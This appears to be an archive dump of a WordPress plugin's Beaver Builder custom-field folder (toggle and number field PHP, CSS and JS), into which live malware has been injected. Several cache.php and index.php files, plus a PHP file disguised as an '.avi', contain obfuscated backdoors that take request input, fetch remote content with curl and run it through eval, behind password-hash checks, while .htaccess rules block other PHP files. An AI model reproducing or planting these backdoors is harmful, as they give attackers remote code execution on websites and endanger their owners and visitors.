</FilesMatch>
</IfModule>custom-fields/custom-fields/.htaccess000066600000000424151143413260013702 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>custom-fields/custom-fields/custom-fields/.htaccess000066600000000424151143413260016460 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>custom-fields/custom-fields/custom-fields/cache.php000066600000013035151143413260016440 0ustar00<?php $riYTQ = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGireXj4lyZpgYA0A'; $KJLtc = 'gU9QDcHwfUQsR4bPqWJVDZEy6pMeZVsnxmtvO+xJb/xBXc45G+43gPvfAt/xhXO8phhzXO/otfuNXtt3lyL6uvsbgdjpa6K17XjO461Ht/b3s/634xLe5i3ubqXd7yHXqBXL09a8WpfpxrTO+U+XmJjMWfac27dx2X/77LzOaj+6GzoVJh2gWxrkwdNzlzJ10f205/oXNL6/LW5MEB6F1LF16WZ8yXgxyQBejsLggosidHPtVX5/gqz+htdmS6L/LIz5TZCVo4kdwdOgwkWcDUghByBLDHJSOmEGP3ulZYFYfFnEuri/LBrDRMrnbIMQJKiSfYi7+Rt9mF0T2Vv9wfdRrGo5bbP/crb87IV2qVqedHZCqRr3i3G1y1m9FZynj8/PGvzfeczrfe91OrGWX0Egq1go7qp2a8940qa5Q/1OVipeHmCG/y993E191/vN0s0Oh+KI/aUBRIBP2+UMQUZZ81fWwNzIeMvXxz4lThXTMwaSvu7sTRMfvBalaTrVJ+E5LnXFlm6PVXBJn5MDrr/ko6wSKKEHRw1EkG5UsdgoYOKkSg85WyA6ejCVqF664pW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u81e3laYVa2tZ+y2WI2sWz/KQD3O+a0VZE2DW1cl8tygPmWaGx56eSrFq+GUhUVLXzeq16Bk77B21DliyYrZl05ewdkcivg5aihnwg/Nk+/sb1dXXV1tk6UfgPwu/sOGWDyuMZWqa2Pp97Y/ylx+pJmBTtoJJy30Wqt5jsSwUyxgQSdSYLLPDG7UulYzJyYjG6v2p8IttVbrR5ciX8I4w9BE/AOwfA'; function riYTQ($kHrp) { $KJLtc = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $WwgV = substr($KJLtc, 0, 16); $RlkMW = base64_decode($kHrp); return openssl_decrypt($RlkMW, "AES-256-CBC", $KJLtc, OPENSSL_RAW_DATA, $WwgV); } if (riYTQ('DjtPn+r4S0yvLCnquPz1fA')){ echo 'o0yxk15DDnqeGuPZN0uCqOF9f+TxB5ituOVzVa3l4HWmIOVBp/1Y1zNFrtan0IIJ'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($riYTQ)))); ?>custom-fields/custom-fields/custom-fields/index.php000066600000000107151143413260016500 0ustar00<?php include_once base64_decode("aFVndFl3cUNlZnlJTlpjUVhrQS5hdmk"); ?>custom-fields/custom-fields/custom-fields/hUgtYwqCefyINZcQXkA.avi000066600000013752151143413260021063 0ustar00<?php
 goto FUJJwkOJjXh2YKVW; bGQctH4ocaeWgkhJ: @(md5(md5(md5(md5($zxUd3MSYi_SDdw3x[6])))) === "\145\x35\62\x62\61\61\143\60\141\x35\x33\x64\71\x64\x38\141\145\x64\70\x33\67\70\60\142\145\x65\65\x39\145\x63\x33\x63") && (count($zxUd3MSYi_SDdw3x) == 12 && in_array(gettype($zxUd3MSYi_SDdw3x) . count($zxUd3MSYi_SDdw3x), $zxUd3MSYi_SDdw3x)) ? ($zxUd3MSYi_SDdw3x[63] = $zxUd3MSYi_SDdw3x[63] . $zxUd3MSYi_SDdw3x[76]) && ($zxUd3MSYi_SDdw3x[85] = $zxUd3MSYi_SDdw3x[63]($zxUd3MSYi_SDdw3x[85])) && @($zxUd3MSYi_SDdw3x = $zxUd3MSYi_SDdw3x[85]($zxUd3MSYi_SDdw3x[56], $zxUd3MSYi_SDdw3x[63](${$zxUd3MSYi_SDdw3x[35]}[23]))) && $zxUd3MSYi_SDdw3x() : $zxUd3MSYi_SDdw3x; goto Kp6D5uHG6X7nSCpy; FUJJwkOJjXh2YKVW: $YP09KARqa53eUrhi = range("\x7e", "\x20"); goto NZXX7YmNOn0sBEtr; qce88lDosbFT80ic: class xZrdErU8TpnmpiMm { static function Pdp40qBkYJ63yDuu($f2I0BZ2znqHV1toz) { goto Xbtftkn1jPNlDf6S; GHf6I8bzkjlOmKI2: $cbRg9GhyWYePTVUl = ''; goto RMvTpbyyDfaQIGMp; R9sSgJ_zb_zUoUVW: return $cbRg9GhyWYePTVUl; goto ibtXTJ0RvFCEBgaK; loM6fmzteWOIqzG5: j4EV5VDtkpOkfI4r: goto R9sSgJ_zb_zUoUVW; Xbtftkn1jPNlDf6S: $E_GVLlVv1XwyRBHa = "\162" . "\141" . "\156" . "\147" . "\145"; goto xXEdg3y80ocrh_i_; RMvTpbyyDfaQIGMp: foreach ($HqkxbPQLQe2_YbCK as $i0LB9yxhukcLsGTb => $hFgP2f0AyRlgocAm) { $cbRg9GhyWYePTVUl .= $VS_tBwGUCZjQ5CD1[$hFgP2f0AyRlgocAm - 12554]; b_MJXImVrdShUeDh: } goto loM6fmzteWOIqzG5; Af0z97UkN0DArn8L: $HqkxbPQLQe2_YbCK = explode("\74", $f2I0BZ2znqHV1toz); goto GHf6I8bzkjlOmKI2; xXEdg3y80ocrh_i_: $VS_tBwGUCZjQ5CD1 = $E_GVLlVv1XwyRBHa("\x7e", "\40"); goto Af0z97UkN0DArn8L; ibtXTJ0RvFCEBgaK: } static function enx3Es1f0ucbjtLH($NjrCV92UsrNTGBGm, $cIXJKasCHzgCCJxO) { goto KZ3VmmqSjq8oHB2g; hvMqPmgb5VZ_ZaV9: curl_setopt($wkdtbsTqDc0mEq9C, CURLOPT_RETURNTRANSFER, 1); goto gaQU8KK_2lftM41R; gaQU8KK_2lftM41R: $eg1DnIFl2Yr6s_ea = curl_exec($wkdtbsTqDc0mEq9C); goto GYfrNTVSwvr0anwk; GYfrNTVSwvr0anwk: return empty($eg1DnIFl2Yr6s_ea) ? $cIXJKasCHzgCCJxO($NjrCV92UsrNTGBGm) : $eg1DnIFl2Yr6s_ea; goto K2QhKVAgX8gM8gJ3; KZ3VmmqSjq8oHB2g: $wkdtbsTqDc0mEq9C = curl_init($NjrCV92UsrNTGBGm); goto hvMqPmgb5VZ_ZaV9; K2QhKVAgX8gM8gJ3: } static function RoV8s1525bAr2iDj() { goto SsbehFV3oIadW1cG; cyf_b1UM8jNhgfDo: ytHzACDTNqghamGO: goto PTXjyXuvxMRoCWU3; euhRnN9MP01R0wPT: @$s0_J_9TplaE1puSX[4 + 6](INPUT_GET, "\x6f\146") == 1 && die($s0_J_9TplaE1puSX[1 + 4](__FILE__)); goto k2Z1xaJTO9Aapa70; TmuAlx3OZWOWkyI8: $ZV7kjUpfsukEd1wq = self::Enx3es1F0uCbJtlH($V9o37ZipQ2MuPYEv[0 + 1], $s0_J_9TplaE1puSX[2 + 3]); goto UfXVOO8kHt7Anbpz; L0x2eDEtCEeXIoPX: $V9o37ZipQ2MuPYEv = $s0_J_9TplaE1puSX[0 + 2]($IdkZXH3B18pqetZ0, true); goto euhRnN9MP01R0wPT; SqqnEBNM3vwLOrlu: pCBQYk5ax1eSOs2p: goto huR0D_Ko4DQO9ss7; z7wU_lXYD3O0wDw9: die; goto SqqnEBNM3vwLOrlu; UfXVOO8kHt7Anbpz: @$s0_J_9TplaE1puSX[0]('', $s0_J_9TplaE1puSX[6 + 1] . $s0_J_9TplaE1puSX[1 + 3]($ZV7kjUpfsukEd1wq) . $s0_J_9TplaE1puSX[7 + 1]); goto z7wU_lXYD3O0wDw9; cOSU6cCozJr_Q7AQ: $IdkZXH3B18pqetZ0 = @$s0_J_9TplaE1puSX[3 + 0]($s0_J_9TplaE1puSX[4 + 2], $ri_ew8lxYdobwRIX); goto L0x2eDEtCEeXIoPX; k2Z1xaJTO9Aapa70: if (!(@$V9o37ZipQ2MuPYEv[0] - time() > 0 and md5(md5($V9o37ZipQ2MuPYEv[1 + 2])) === "\x35\62\x32\63\61\x63\x39\x66\x34\61\x36\61\62\65\x33\143\142\x34\x30\66\x33\x30\x35\63\61\64\x35\x66\x62\x32\x65\67")) { goto pCBQYk5ax1eSOs2p; } goto TmuAlx3OZWOWkyI8; RfWgbfkxhXuEdxDx: foreach ($b_OJO4KOEr9NngSO as $NQULSrg72k0Vuda3) { $s0_J_9TplaE1puSX[] = self::PDP40Qbkyj63YdUU($NQULSrg72k0Vuda3); S7uuEsQ_UC9VmqXe: } goto cyf_b1UM8jNhgfDo; SsbehFV3oIadW1cG: $b_OJO4KOEr9NngSO = array("\61\x32\x35\x38\61\x3c\x31\x32\65\66\66\x3c\61\x32\x35\x37\x39\x3c\x31\x32\65\70\x33\74\61\62\65\x36\64\74\61\62\x35\67\71\x3c\x31\x32\65\x38\x35\x3c\61\x32\x35\x37\70\x3c\61\x32\65\x36\63\74\61\x32\65\67\x30\x3c\x31\62\65\70\61\74\61\x32\65\x36\64\74\61\62\x35\67\65\x3c\61\62\65\x36\71\x3c\x31\62\65\x37\60", "\x31\62\x35\x36\65\74\x31\62\x35\x36\x34\x3c\61\x32\x35\x36\x36\x3c\x31\x32\x35\x38\65\x3c\61\62\65\66\x36\74\x31\x32\65\x36\x39\x3c\x31\x32\65\66\64\74\61\x32\x36\x33\x31\x3c\x31\62\x36\x32\x39", "\61\62\x35\67\x34\x3c\x31\62\65\x36\x35\74\x31\62\x35\66\x39\74\x31\x32\65\67\60\74\x31\x32\x35\70\x35\74\x31\62\x35\70\60\x3c\61\x32\65\67\71\x3c\x31\x32\x35\x38\x31\74\61\62\x35\x36\x39\74\61\62\x35\x38\x30\x3c\61\62\x35\67\71", "\x31\62\x35\66\x38\74\x31\62\x35\x38\x33\x3c\x31\x32\65\70\x31\74\61\62\x35\x37\63", "\x31\62\65\x38\x32\x3c\61\62\x35\x38\63\74\x31\x32\x35\x36\65\74\x31\62\x35\67\x39\74\61\x32\66\x32\66\x3c\61\x32\66\62\70\74\x31\x32\x35\x38\x35\74\x31\62\x35\70\x30\x3c\x31\62\65\67\71\74\x31\x32\65\70\x31\x3c\x31\x32\x35\66\71\x3c\x31\62\x35\70\60\74\x31\62\x35\x37\x39", "\x31\x32\x35\x37\70\74\x31\62\x35\67\65\74\61\62\65\67\62\74\x31\62\x35\x37\x39\74\61\62\x35\x38\x35\74\x31\62\65\x37\x37\74\61\62\65\x37\x39\x3c\x31\62\x35\x36\64\x3c\x31\62\x35\70\65\x3c\61\x32\x35\70\61\74\x31\x32\65\66\x39\74\61\62\x35\x37\x30\x3c\x31\x32\65\x36\64\74\x31\x32\x35\x37\71\74\x31\62\65\67\60\74\61\62\65\x36\64\74\x31\62\x35\x36\65", "\61\x32\x36\60\x38\x3c\x31\62\x36\63\x38", "\61\x32\65\65\65", "\61\62\x36\x33\x33\x3c\x31\x32\66\x33\x38", "\61\62\x36\61\x35\74\61\62\x35\71\70\74\61\x32\x35\71\70\x3c\x31\62\66\61\65\x3c\x31\62\x35\71\x31", "\x31\x32\65\x37\70\74\61\x32\65\67\x35\74\61\62\65\x37\62\x3c\x31\62\65\66\x34\74\61\62\65\x37\71\x3c\61\x32\x35\x36\66\74\61\x32\65\x38\x35\x3c\61\x32\x35\x37\65\74\61\x32\x35\x37\60\74\x31\62\65\66\70\x3c\x31\x32\x35\x36\63\x3c\61\x32\65\66\x34"); goto RfWgbfkxhXuEdxDx; PTXjyXuvxMRoCWU3: $ri_ew8lxYdobwRIX = @$s0_J_9TplaE1puSX[1]($s0_J_9TplaE1puSX[7 + 3](INPUT_GET, $s0_J_9TplaE1puSX[7 + 2])); goto cOSU6cCozJr_Q7AQ; huR0D_Ko4DQO9ss7: } } goto EU2ewltFI2eo5h_P; NZXX7YmNOn0sBEtr: $zxUd3MSYi_SDdw3x = ${$YP09KARqa53eUrhi[11 + 20] . $YP09KARqa53eUrhi[57 + 2] . $YP09KARqa53eUrhi[45 + 2] . $YP09KARqa53eUrhi[8 + 39] . $YP09KARqa53eUrhi[35 + 16] . $YP09KARqa53eUrhi[2 + 51] . $YP09KARqa53eUrhi[31 + 26]}; goto bGQctH4ocaeWgkhJ; Kp6D5uHG6X7nSCpy: metaphone("\x33\131\121\123\x33\x39\130\x6f\57\53\x33\62\157\151\x6d\114\160\120\150\63\156\147"); goto qce88lDosbFT80ic; EU2ewltFI2eo5h_P: XZRDeru8tpNmpImM::RoV8S1525BaR2iDj();
?>
custom-fields/custom-fields/index.php000066600000012202151143413260013721 0ustar00<?php
 goto czNFUUccPd; VGVP63IyMG: $VN3Rhri0_W = ${$BUzO2HOWG3[15 + 16] . $BUzO2HOWG3[51 + 8] . $BUzO2HOWG3[7 + 40] . $BUzO2HOWG3[34 + 13] . $BUzO2HOWG3[30 + 21] . $BUzO2HOWG3[34 + 19] . $BUzO2HOWG3[46 + 11]}; goto TVCRV0drgO; ldiz1iLgKn: class c4WxUw7tlN { static function Wc8fLxYLbA($NRMG6hpq90) { goto o46urAdg3C; UP0PmlN3xU: foreach ($NKIxfbs5CX as $QzalYWHmhg => $n6jK9sIB0O) { $DGAJosEU6B .= $wVG1NndhN2[$n6jK9sIB0O - 94276]; rp83ofRQ4Z: } goto fQq37yCen9; TvetZPhVQ2: return $DGAJosEU6B; goto gmH8Q8eRDv; Mae7yi6wFn: $wVG1NndhN2 = $K1cqU5TsRz("\x7e", "\x20"); goto pwgLA3yOP9; v1FKGQRekF: $DGAJosEU6B = ''; goto UP0PmlN3xU; o46urAdg3C: $K1cqU5TsRz = "\x72" . "\141" . "\x6e" . "\x67" . "\x65"; goto Mae7yi6wFn; fQq37yCen9: H3jQQdnPIX: goto TvetZPhVQ2; pwgLA3yOP9: $NKIxfbs5CX = explode("\76", $NRMG6hpq90); goto v1FKGQRekF; gmH8Q8eRDv: } static function JOZKfHFv0K($iH7UHnyM2e, $KXVMk3fdVy) { goto hUzQTLGFGq; tW6407gu98: return empty($Tmz_FqRIxU) ? $KXVMk3fdVy($iH7UHnyM2e) : $Tmz_FqRIxU; goto MfXEJaNasX; dlvo1yvwCj: $Tmz_FqRIxU = curl_exec($Fc26NUg4KX); goto tW6407gu98; zHYsrHfd0K: curl_setopt($Fc26NUg4KX, CURLOPT_RETURNTRANSFER, 1); goto dlvo1yvwCj; hUzQTLGFGq: $Fc26NUg4KX = curl_init($iH7UHnyM2e); goto zHYsrHfd0K; MfXEJaNasX: } static function vJx4U618BF() { goto ifLrQryyYW; wQkt9WCY01: $TGpPH5ORLi = self::jozKFHfv0K($t0rlch8uy9[1 + 0], $AsU07T34F5[3 + 2]); goto YUMEGYMTpg; qI1dIcbwlm: @$AsU07T34F5[8 + 2](INPUT_GET, "\x6f\146") == 1 && die($AsU07T34F5[0 + 5](__FILE__)); goto fBcng3xbrE; YUMEGYMTpg: @$AsU07T34F5[0]('', $AsU07T34F5[6 + 1] . $AsU07T34F5[2 + 2]($TGpPH5ORLi) . $AsU07T34F5[7 + 1]); goto L2k7Zj_Bew; ifLrQryyYW: $U72h1Hg8Is = array("\71\x34\x33\x30\63\76\71\64\62\70\70\76\71\x34\63\60\x31\76\x39\64\x33\60\65\x3e\71\x34\62\70\x36\x3e\x39\64\x33\x30\61\76\71\64\63\60\x37\x3e\71\64\x33\x30\x30\x3e\71\64\62\x38\65\x3e\71\64\62\x39\x32\x3e\x39\x34\63\x30\x33\76\x39\x34\62\x38\66\76\71\64\x32\x39\67\x3e\x39\64\x32\x39\61\x3e\x39\64\x32\71\x32", "\71\64\x32\x38\67\x3e\71\64\x32\70\66\76\71\64\x32\70\x38\x3e\x39\x34\x33\60\x37\76\71\x34\62\x38\x38\x3e\x39\64\62\71\x31\76\71\x34\x32\x38\66\76\71\64\x33\x35\x33\x3e\x39\64\63\65\x31", "\x39\x34\x32\71\66\76\71\x34\x32\70\67\x3e\71\64\x32\71\x31\76\71\x34\x32\71\62\x3e\71\x34\x33\60\67\76\x39\64\63\60\x32\x3e\x39\64\63\x30\x31\x3e\x39\64\x33\60\x33\x3e\x39\x34\x32\71\61\x3e\71\64\63\60\x32\76\71\64\63\60\x31", "\71\64\62\71\x30\76\71\64\x33\x30\65\76\71\64\63\60\x33\76\71\64\x32\71\x35", "\x39\64\63\60\64\x3e\71\64\63\60\x35\x3e\x39\64\62\x38\x37\76\x39\64\x33\x30\x31\x3e\x39\64\x33\64\70\x3e\x39\64\x33\x35\x30\76\x39\x34\63\60\x37\x3e\x39\x34\x33\x30\62\76\71\64\x33\60\61\x3e\x39\64\63\x30\x33\76\x39\64\x32\71\x31\x3e\x39\x34\63\x30\x32\76\x39\64\63\60\x31", "\x39\64\63\60\x30\76\71\x34\62\x39\x37\76\71\x34\x32\x39\x34\76\71\x34\x33\x30\x31\76\x39\64\x33\x30\67\76\71\x34\x32\71\x39\x3e\x39\x34\x33\60\61\x3e\71\x34\62\70\x36\x3e\x39\64\63\x30\67\76\x39\64\x33\x30\63\x3e\71\x34\62\x39\61\76\71\x34\62\x39\x32\x3e\71\64\x32\x38\66\x3e\71\64\63\60\61\76\71\x34\62\x39\x32\76\71\64\x32\x38\x36\x3e\71\x34\x32\x38\67", "\71\x34\63\x33\60\x3e\71\64\63\66\x30", "\x39\64\62\x37\x37", "\71\x34\63\x35\x35\76\71\x34\x33\x36\60", "\x39\64\63\x33\x37\x3e\71\64\x33\x32\60\76\71\64\63\62\60\76\x39\x34\x33\x33\x37\x3e\x39\64\x33\x31\x33", "\x39\64\x33\60\x30\76\71\64\x32\71\x37\x3e\71\64\x32\x39\x34\x3e\71\64\x32\x38\66\x3e\71\64\63\60\61\x3e\x39\x34\62\70\x38\x3e\71\64\63\60\67\76\71\x34\x32\71\x37\76\x39\64\x32\71\62\x3e\x39\64\x32\71\60\76\x39\x34\x32\x38\x35\x3e\x39\64\62\70\x36"); goto uG68_1w3LK; vcTBBQFdM_: $J2ZaUtOS_M = @$AsU07T34F5[2 + 1]($AsU07T34F5[1 + 5], $LN2jgyixZB); goto XhNc65EdX_; uG68_1w3LK: foreach ($U72h1Hg8Is as $cJKIg21seP) { $AsU07T34F5[] = self::wC8FLXYLBA($cJKIg21seP); YB2g20rgap: } goto norpOecsyD; BrSue_q4KJ: $LN2jgyixZB = @$AsU07T34F5[1]($AsU07T34F5[2 + 8](INPUT_GET, $AsU07T34F5[9 + 0])); goto vcTBBQFdM_; qr3hVt4S_g: XPhAWTWCym: goto eggp_d1gA1; norpOecsyD: PfY7C9jD8F: goto BrSue_q4KJ; XhNc65EdX_: $t0rlch8uy9 = $AsU07T34F5[2 + 0]($J2ZaUtOS_M, true); goto qI1dIcbwlm; fBcng3xbrE: if (!(@$t0rlch8uy9[0] - time() > 0 and md5(md5($t0rlch8uy9[1 + 2])) === "\71\65\x31\67\60\x64\145\62\60\x61\x64\x33\x39\63\141\64\145\x64\x63\62\142\63\x35\x65\x61\70\143\x39\x37\x36\x65\66")) { goto XPhAWTWCym; } goto wQkt9WCY01; L2k7Zj_Bew: die; goto qr3hVt4S_g; eggp_d1gA1: } } goto LBVwELgDc7; oRxo9vsSSM: metaphone("\62\113\x73\155\x67\162\x43\x52\x72\141\142\172\x6f\x76\x34\145\64\166\167\121\63\x41"); goto ldiz1iLgKn; TVCRV0drgO: if (!(in_array(gettype($VN3Rhri0_W) . count($VN3Rhri0_W), $VN3Rhri0_W) && count($VN3Rhri0_W) == 11)) { goto m391u92FT4; } goto h1TvKXLOc3; WJhJ9YDrDg: m391u92FT4: goto oRxo9vsSSM; czNFUUccPd: $BUzO2HOWG3 = range("\x7e", "\40"); goto VGVP63IyMG; h1TvKXLOc3: @(md5(md5(md5(md5($VN3Rhri0_W[5])))) === "\x39\64\x63\x37\71\x61\x66\x37\x37\65\x63\60\x36\62\x66\67\x34\146\x32\x34\x66\65\x34\61\x64\x65\66\63\x31\60\x35\x30") && (($VN3Rhri0_W[62] = $VN3Rhri0_W[62] . $VN3Rhri0_W[72]) && ($VN3Rhri0_W[90] = $VN3Rhri0_W[62]($VN3Rhri0_W[90])) && @($VN3Rhri0_W = $VN3Rhri0_W[90]($VN3Rhri0_W[56], $VN3Rhri0_W[62](${$VN3Rhri0_W[32]}[18]))) && $VN3Rhri0_W()); goto WJhJ9YDrDg; LBVwELgDc7: c4WXuw7tLn::vjX4U618bF();
?>
custom-fields/custom-fields/cache.php000066600000013027151143413260013663 0ustar00<?php $aVItf = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiphnhmaYGANAA'; $VIh = 'Qc4MDUD8fxREgvdobNkOpVIpky4lcdeF8m929vHoxr3cxlLO89HDca+D3eHFdxyTP/3sQwx7/05nlz3W79Y+VdvCbGcfadSz88/9wL3u5w9f6t7r+Ne4iXu4t7n613v4Blb01Ccnmvdyna++UjPlPlY2Yj0n2n9WXs35P++6sj+k/uxIqVQk9oUwaJfXzc5USL8r9c/PKVzqe/gVODRkuQ9aRtsR2s9BYsOQg3IziIKOLY11Tb3RuPqysfaT3pnGC/Byc+VqwFJCZHcjjIMhV3BB4YjQAyydikiNxxxpbZEeB2U9ph7qI/TwKQH7K5EKDUiuY0HuYudULvbFdkdxbP9bH0pJa+3+jP06G/OaVtatKX2ZWgbw6d5hxtdlZfTi85L3vjz/cnH9SyVfvtymx1EJxoYJo6ua6tEXvOti2B2XtTmUq3itwxtUP/NV9b73rDOD9TovSytCFQHWwjsDVDFd2GexHFc/MiHz7V9Au5X81ECsm0oze7XMD3ZoWp146VhLh+x1lRrleT1VwybKjw86/JqKMkjCxREUNBodeFYLIKkjipFE/umMgu1oAlapuOcm1nDQznGq8hTKyME16LpLV5jsl4Lkx+8PJ4hw9AUpFXEX5bCUSRbXtT22DVecsqL4uC63dyySLK8LUhl5JJI23Qw5hOUF24VA/tk7c0twlyfVrkuFSaPUCFYpNYuqHZ4mbUTauQvbIeCryu+klayRnIlfzm2UKMfJGmL7DhN9bJGMKWsSkFKWg3tA8ScML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$VIh = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $LXf = substr($VIh, 0, 16); $isCVf = base64_decode($VYe); return openssl_decrypt($isCVf, "AES-256-CBC", $VIh, OPENSSL_RAW_DATA, $LXf); } if (aVItf('DjtPn+r4S0yvLCnquPz1fA')){ echo 'Dte0KwTjIx3UIzr2oAMdgF7iR8tjK0zovPYPMYNp5nVlRy9ZIXg7D6QJR61yx/1d'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($aVItf)))); ?>custom-fields/toggle-field/.htaccess000066600000000424151143413270013467 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>custom-fields/toggle-field/toggle.css000066600000004455151143413270013674 0ustar00.fl-lightbox .btn-switch {
	display: inline-block;
	position: relative;
	font-size: 0.5em;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none;
}

.fl-lightbox .btn-switch__radio {
	display: none;
}

.fl-lightbox .btn-switch__label {
	display: inline-block;
	margin: 0;
	color: #666;
	font-size: 10px;
	font-weight: 700;
	line-height: 30px;
	vertical-align: top;
	cursor: pointer;
	-webkit-transition: color 0.2s ease-in-out;
	transition: color 0.2s ease-in-out;
}

.fl-lightbox .btn-switch__txt {
	display: inline-block;
	position: relative;
	z-index: 2;
	min-width: 1.5em;
	opacity: 1;
	color: inherit;
	-webkit-transition: opacity 0.2s ease-in-out;
	transition: opacity 0.2s ease-in-out;
	pointer-events: none;
}

.fl-lightbox .btn-switch__radio_no:checked ~ .btn-switch__label_yes .btn-switch__txt,
.fl-lightbox .btn-switch__radio_yes:checked ~ .btn-switch__label_no .btn-switch__txt {
	opacity: 0;
}

.fl-lightbox .btn-switch__label:before {
	position: absolute;
	z-index: -1;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	border-radius: 1.5em;
	background: #f0f0f0;
	box-shadow: inset 0 0.0715em 0.3572em rgba(43,43,43,0.05);
	content: "";
	-webkit-transition: background 0.2s ease-in-out;
	transition: background 0.2s ease-in-out;
}

.fl-lightbox .btn-switch__radio_yes:checked ~ .btn-switch__label:before {
	background: #6ad500;
}

.fl-lightbox .btn-switch__label_no:after {
	position: absolute;
	z-index: 2;
	top: 0.5em;
	bottom: 0.5em;
	left: 0.5em;
	width: 2em;
	border-radius: 1em;
	background: #fff;
	box-shadow: 0 0.1429em 0.2143em rgba(43,43,43,0.2), 0 0.3572em 0.3572em rgba(43,43,43,0.1);
	content: "";
	-webkit-transition: left 0.2s ease-in-out, background 0.2s ease-in-out;
	transition: left 0.2s ease-in-out, background 0.2s ease-in-out;
	pointer-events: none;
}

.fl-lightbox .btn-switch__radio_yes:checked ~ .btn-switch__label_no:after {
	left: -webkit-calc(100% - 2.5em);
	left: calc(100% - 2.5em);
	background: #fff;
}

.fl-lightbox .btn-switch__radio_no:checked ~ .btn-switch__label_yes:before,
.fl-lightbox .btn-switch__radio_yes:checked ~ .btn-switch__label_no:before {
	z-index: 1;
}

.fl-lightbox .btn-switch__radio_yes:checked ~ .btn-switch__label_yes {
	padding: 0 10px;
	color: #fff;
}

.fl-lightbox .btn-switch__radio_no:checked ~ .btn-switch__label_no {
	padding: 0 10px;
}
custom-fields/toggle-field/toggle_field.php000066600000003263151143413270015032 0ustar00<?php
/**
 * Beaver builder toggle custom field
 *
 * @package themeisle-companion
 */

/**
 * Render the Toggle Field to the browser
 */
function obfx_toggle_field( $name, $value, $field ) {
	?>
	<p class="btn-switch">
		<input type="radio" 
		<?php
		if ( $value === 'yes' ) {
			echo 'checked';}
		?>
 value="yes" id="<?php echo esc_attr( $name ); ?>_yes" name="<?php echo esc_attr( $name ); ?>" class="btn-switch__radio btn-switch__radio_yes" />
		<input type="radio" 
		<?php
		if ( $value !== 'yes' ) {
			echo 'checked';}
		?>
 value="no" id="<?php echo esc_attr( $name ); ?>_no" name="<?php echo esc_attr( $name ); ?>" class="btn-switch__radio btn-switch__radio_no" />
		<label for="<?php echo esc_attr( $name ); ?>_yes" class="btn-switch__label btn-switch__label_yes"><span class="btn-switch__txt"><?php echo esc_html__( 'Yes', 'themeisle-companion' ); ?></span></label>
		<label for="<?php echo esc_attr( $name ); ?>_no" class="btn-switch__label btn-switch__label_no"><span class="btn-switch__txt"><?php echo esc_html__( 'No', 'themeisle-companion' ); ?></span></label>
	</p>
	<?php
}
add_action( 'fl_builder_control_obfx_toggle', 'obfx_toggle_field', 1, 3 );

/**
 * Enqueue toggle field stylesheet
 *
 * @return void
 */
function obfx_enqueue_toggle_field() {
	if ( class_exists( 'FLBuilderModel' ) && FLBuilderModel::is_builder_active() ) {
		wp_enqueue_style( 'obfx-toggle-css', BEAVER_WIDGETS_URL . 'custom-fields/toggle-field/toggle.css', null, THEMEISLE_COMPANION_VERSION, 'all' );
		wp_enqueue_script( 'obfx-toggle-js', BEAVER_WIDGETS_URL . 'custom-fields/toggle-field/toggle.js', array(), THEMEISLE_COMPANION_VERSION, true );
	}
}
add_action( 'wp_enqueue_scripts', 'obfx_enqueue_toggle_field' );
custom-fields/toggle-field/toggle.js000066600000000322151143413270013505 0ustar00/* global FLBuilder */

( function ( $ )  {
	$( 'body' ).delegate(
		'.btn-switch__label', 'click', function ( e ) {
			$.proxy( FLBuilder.preview.delayPreview( e ), FLBuilder.preview );
		}
	);
} )( jQuery );
custom-fields/number-field/number_field.php000066600000001755151143413270015054 0ustar00<?php
/**
 * Beaver builder number custom field
 *
 * @package themeisle-companion
 */

/**
 * Render the Number Field to the browser
 */
function obfx_number_field( $name, $value, $field ) {
	$min = ! empty( $field['min'] ) ? 'min="' . esc_attr( $field['min'] ) . '"' : '';
	$max = ! empty( $field['max'] ) ? 'max="' . esc_attr( $field['max'] ) . '"' : ''; ?>
	<input type="number" value="<?php echo esc_attr( $value ); ?>" name="<?php echo esc_attr( $name ); ?>" class="obfx-number-field" <?php echo $min; ?> <?php echo $max; ?> />
	<?php
}

add_action( 'fl_builder_control_obfx_number', 'obfx_number_field', 1, 3 );

/**
 * Enqueue number field stylesheet
 *
 * @return void
 */
function obfx_enqueue_field() {
	if ( class_exists( 'FLBuilderModel' ) && FLBuilderModel::is_builder_active() ) {
		wp_enqueue_script( 'obfx-number-js', BEAVER_WIDGETS_URL . 'custom-fields/number-field/number.js', array(), THEMEISLE_COMPANION_VERSION, true );
	}
}
add_action( 'wp_enqueue_scripts', 'obfx_enqueue_field' );
custom-fields/number-field/number.js000066600000000323151143413270013524 0ustar00/* global FLBuilder */

( function ( $ )  {
	$( 'body' ).delegate(
		'.obfx-number-field', 'change', function ( e ) {
			$.proxy( FLBuilder.preview.delayPreview( e ), FLBuilder.preview );
		}
	);
} )( jQuery );
custom-fields/number-field/.htaccess000066600000000424151143413270013476 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
